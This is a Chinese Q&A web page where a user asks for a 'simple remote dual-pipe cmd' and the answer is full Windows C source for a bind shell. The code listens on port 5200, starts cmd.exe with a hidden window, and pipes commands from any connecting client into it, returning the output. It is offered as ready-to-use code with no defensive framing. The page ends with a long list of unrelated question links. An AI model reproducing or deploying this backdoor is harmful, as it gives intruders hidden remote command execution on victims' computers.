问答1 问答5 问答50 问答500 问答1000
网友互助专业问答平台

简单远程双管道cmd

提问网友 发布时间:2025-01-28 02:12
声明:本网页内容为用户发布,旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。
E-MAIL:1656858193@qq.com
1个回答
热心网友 回答时间:2025-01-28 13:18
#include
#include
#pragma comment(lib,"Ws2_32")

int main()
{
WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;

//初始化WSA
WSAStartup(MAKEWORD(2,2),&ws);

//建立socket
listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

//监听本机5200端口
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(5200);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);

//如果客户请求5200端口,接受连接
int iAddrSize=sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

SECURITY_ATTRIBUTES pipeattr1,pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

//建立匿名管道1
pipeattr1.nLength=12;
pipeattr1.lpSecurityDescriptor=0;
pipeattr1.bInheritHandle=true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);

//建立匿名管道2
pipeattr2.nLength=12;
pipeattr2.lpSecurityDescriptor=0;
pipeattr2.bInheritHandle=true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
si.hStdInput=hReadPipe2;
si.hStdOutput=si.hStdError=hWritePipe1;
char cmdline[]="cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

unsigned long lBytesRead;
while (1)
{
//检查管道1,即CMD进程是否有输出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if (lBytesRead)
{
//管道1有输出,输出结果发给远程客户机
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if (!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if (ret<=0) break;
}
else
{
//否则,接受远程客户机命令
lBytesRead=recv(clientFD,Buff,1024,0);
if (lBytesRead<=0) break;
//将命令写入管道2,即传给CMD进程
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if (!ret) break;
}
}
return 0;
}

本文如未解决您的问题请添加抖音号:51dongshi(抖音搜索懂视),直接咨询即可。

眼睛里长囊肿怎么办 眼睛囊肿该怎么办 右眼角内长了个囊肿怎么回事 眼囊肿是什么原因 眼睛囊肿怎么引起的 HugoBoss 波士灵魂魅惑男士香水的香调如何? HUGOBOSS 自信男士淡香水的香调怎么样? HugoBoss 灵魂魅惑男士香水的香调如何? HugoBoss 优客男士香水的留香效果如何? HugoBoss 动感清新男士香水的香调如何? HugoBoss 劲能淡香水的香调如何? HugoBoss 航海家男士香水的香调怎么样? HugoBoss 活氧元素男士香水的香调如何? HugoBoss 风尚女用香水的香调如何? 【开心学国学】清朝蘅塘退士编写了《唐诗三百首》请问唐诗三百首中... 导致掌跖多汗的病因有哪些? 手心热是怎么回事 四大疾病引发得警惕 经常出汗是什么原因 需要提防四种疾病 瓦斯针新手表图(瓦斯针手表图片及价格2836) 瓦时针电话手表(瓦时针手表图片) 键盘上哪个是✖哪个是➗ 苹果电脑键盘除号电脑键盘的除号是哪个键 电脑里面乘号是哪个键电脑上的乘号是哪个键怎么输入 在家做哪些养殖好 在家养什么 请问在家里养什么好呢 在家可以养殖什么好呢 10 大清铜币户部丙午十文中心是个空的没有字值多少钱啊 大清铜币10文市场价值多少钱? 大清铜币,户部文十钱,值不值钱? 我有一枚大清铜币户部丙午中间字‘’汴‘’当值十文,值多少钱?请专家解... 如何在两个微信号上同时登陆一个账号? 小米YU7怎么读?御妻、与7还是逾期? 清明节的时候要做哪些事情清明节主要做什么 总效用是什么含义 什么是总效用,总效用与边际效用的区别 微信公众号如何添加到桌面图标 微信公众号怎么创建快捷桌面 微信公众号创建桌面快捷方式 微信如何添加公众号到桌面? 怎样把微信公众号快捷方式添加到桌面?
Top